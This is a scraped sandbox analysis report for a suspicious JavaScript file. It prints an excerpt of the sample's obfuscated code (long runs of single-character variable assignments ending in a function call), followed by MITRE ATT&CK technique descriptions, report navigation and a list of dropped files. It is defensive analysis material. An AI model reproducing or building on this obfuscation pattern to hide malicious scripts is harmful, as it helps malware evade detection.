1169	nehlrtin = "z";
1170	nehlrtin = "X";
1171	nehlrtin = "l";
1172	nehlrtin = "T";
1173	nehlrtin = "H";
1174	nehlrtin = "X";
1175	nehlrtin = "o";
1176	nehlrtin = "P";
1177	nehlrtin = "G";
1178	nehlrtin = "B";
1179	nehlrtin = "I";
1180	nehlrtin = "T";
1181	nehlrtin = "m";
1182	nehlrtin = "w";
1183	nehlrtin = "o";
1184	tqzhrqyz = "A";
1185	tqzhrqyz = "C";
1186	tqzhrqyz = "x";
1187	tqzhrqyz = "n";
1188	tqzhrqyz = "W";
1189	tqzhrqyz = "M";
1190	tqzhrqyz = "e";
1191	tqzhrqyz = "b";
1192	tqzhrqyz = "j";
1193	tqzhrqyz = "r";
1194	tqzhrqyz = "d";
1195	tqzhrqyz = "d";
1196	tqzhrqyz = "b";
1197	tqzhrqyz = "D";
1198	tqzhrqyz = "V";
1199	tqzhrqyz = "u";
1200	tqzhrqyz = "I";
1201	tqzhrqyz = "A";
1202	tqzhrqyz = "J";
1203	tqzhrqyz = "c";
1204	tqzhrqyz = "Y";
1205	tqzhrqyz = "W";
1206	tqzhrqyz = "R";
1207	tqzhrqyz = "v";
1208	tqzhrqyz = "v";
1209	tqzhrqyz = "w";
1210	tqzhrqyz = "I";
1211	tqzhrqyz = "u";
1212	tqzhrqyz = "q";
1213	tqzhrqyz = "e";
1214	tqzhrqyz = "r";
1215	rsagef = "j";
1216	rsagef = "u";
1217	rsagef = "n";
1218	rsagef = "S";
1219	rsagef = "o";
1220	rsagef = "L";
1221	rsagef = "n";
1222	rsagef = "V";
1223	rsagef = "w";
1224	rsagef = "Q";
1225	rsagef = "s";
1226	rsagef = "X";
1227	rsagef = "v";
1228	rsagef = "t";
1229	rsagef = "T";
1230	rsagef = "Z";
1231	rsagef = "n";
1232	rsagef = "b";
1233	rsagef = "X";
1234	rsagef = "e";
1235	rsagef = "n";
1236	rsagef = "F";
1237	rsagef = "L";
1238	rsagef = "o";
1239	rsagef = "c";
1240	rsagef = "h";
1241	rsagef = "U";
1242	rsagef = "s";
1243	rsagef = "Z";
1244	rsagef = "S";
1245	rsagef = "Y";
1246	rsagef = "e";
1247	rsagef = "f";
1248	rsagef = "M";
1249	rsagef = "f";
1250	rsagef = "k";
1251	rsagef = "d";
1252	rsagef = "e";
1253	rsagef = "g";
1254	rsagef = "H";
1255	isopcvzwh = "z";
1256	isopcvzwh = "f";
1257	isopcvzwh = "H";
1258	isopcvzwh = "Q";
1259	isopcvzwh = "g";
1260	isopcvzwh = "b";
1261	isopcvzwh = "A";
1262	isopcvzwh = "A";
1263	isopcvzwh = "Z";
1264	isopcvzwh = "r";
1265	isopcvzwh = "i";
1266	isopcvzwh = "l";
1267	isopcvzwh = "L";
1268	isopcvzwh = "K";
1269	isopcvzwh = "I";
1270	isopcvzwh = "X";
1271	isopcvzwh = "i";
1272	isopcvzwh = "Q";
1273	isopcvzwh = "h";
1274	isopcvzwh = "U";
1275	isopcvzwh = "e";
1276	isopcvzwh = "k";
1277	isopcvzwh = "n";
1278	isopcvzwh = "N";
1279	isopcvzwh = "l";
1280	wddpwppit = "T";
1281	wddpwppit = "Z";
1282	wddpwppit = "R";
1283	wddpwppit = "M";
1284	wddpwppit = "I";
1285	wddpwppit = "P";
1286	wddpwppit = "B";
1287	wddpwppit = "d";
1288	wddpwppit = "a";
1289	wddpwppit = "j";
1290	wddpwppit = "v";
1291	wddpwppit = "Z";
1292	wddpwppit = "d";
1293	wddpwppit = "Y";
1294	wddpwppit = "A";
1295	wddpwppit = "O";
1296	wddpwppit = "L";
1297	wddpwppit = "P";
1298	wddpwppit = "V";
1299	wddpwppit = "d";
1300	wddpwppit = "V";
1301	wddpwppit = "q";
1302	wddpwppit = "i";
1303	wddpwppit = "e";
1304	wddpwppit = "S";
1305	suqjajqp = "p";
1306	suqjajqp = "p";
1307	suqjajqp = "t";
1308	suqjajqp = "x";
1309	suqjajqp = "u";
1310	suqjajqp = "L";
1311	suqjajqp = "W";
1312	suqjajqp = "u";
1313	suqjajqp = "B";
1314	suqjajqp = "T";
1315	suqjajqp = "N";
1316	suqjajqp = "r";
1317	suqjajqp = "L";
1318	suqjajqp = "t";
1319	suqjajqp = "p";
1320	suqjajqp = "b";
1321	suqjajqp = "A";
1322	suqjajqp = "b";
1323	suqjajqp = "i";
1324	suqjajqp = "e";
1325	suqjajqp = "F";
1326	suqjajqp = "A";
1327	suqjajqp = "z";
1328	suqjajqp = "V";
1329	suqjajqp = "a";
1330	suqjajqp = "K";
1331	suqjajqp = "q";
1332	suqjajqp = "p";
1333	suqjajqp = "u";
1334	suqjajqp = "h";
1335	suqjajqp = "P";
1336	suqjajqp = "Y";
1337	suqjajqp = "L";
1338	vfvof = "Q";
1339	vfvof = "o";
1340	vfvof = "K";
1341	vfvof = "x";
1342	vfvof = "f";
1343	vfvof = "L";
1344	vfvof = "Y";
1345	hduoyac = "o";
1346	hduoyac = "V";
1347	hduoyac = "K";
1348	hduoyac = "N";
1349	hduoyac = "F";
1350	hduoyac = "Z";
1351	hduoyac = "b";
1352	hduoyac = "q";
1353	hduoyac = "q";
1354	hduoyac = "W";
1355	hduoyac = "L";
1356	hduoyac = "T";
1357	hduoyac = "H";
1358	hduoyac = "j";
1359	hduoyac = "M";
1360	hduoyac = "T";
1361	hduoyac = "r";
1362	hduoyac = "h";
1363	hduoyac = "l";
1364	hduoyac = "Y";
1365	hduoyac = "f";
1366	hduoyac = "s";
1367	hduoyac = "D";
1368	hduoyac = "o";
1369	hduoyac = "p";
1370	hduoyac = "a";
1371	kkxfchzr = "L";
1372	kkxfchzr = "G";
1373	kkxfchzr = "Q";
1374	kkxfchzr = "K";
1375	kkxfchzr = "F";
1376	kkxfchzr = "u";
1377	kkxfchzr = "e";
1378	kkxfchzr = "E";
1379	kkxfchzr = "V";
1380	kkxfchzr = "K";
1381	kkxfchzr = "T";
1382	kkxfchzr = "F";
1383	kkxfchzr = "V";
1384	kkxfchzr = "R";
1385	kkxfchzr = "x";
1386	kkxfchzr = "q";
1387	kkxfchzr = "J";
1388	kkxfchzr = "Y";
1389	kkxfchzr = "q";
1390	kkxfchzr = "c";
1391	kkxfchzr = "w";
1392	kkxfchzr = "t";
1393	kkxfchzr = "q";
1394	kkxfchzr = "w";
1395	kkxfchzr = "s";
1396	kkxfchzr = "K";
1397	kkxfchzr = "w";
1398	kkxfchzr = "K";
1399	kkxfchzr = "k";
1400	kkxfchzr = "u";
1401	kkxfchzr = "S";
1402	kkxfchzr = "v";
1403	kkxfchzr = "G";
1404	kkxfchzr = "D";
1405	kkxfchzr = "r";
1406	kkxfchzr = "p";
1407	kkxfchzr = "g";
1408	kkxfchzr = "z";
1409	kkxfchzr = "T";
1410	kkxfchzr = "s";
1411	kkxfchzr = "W";
1412	kkxfchzr = "c";
1413	kkxfchzr = "f";
1414	kkxfchzr = "h";
1415	phkfbm ( );	phkfbm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 77502473271720630.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c097adb8-c457-4cca-8252-0db213006648.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1556

Windows Analysis Report
77502473271720630.js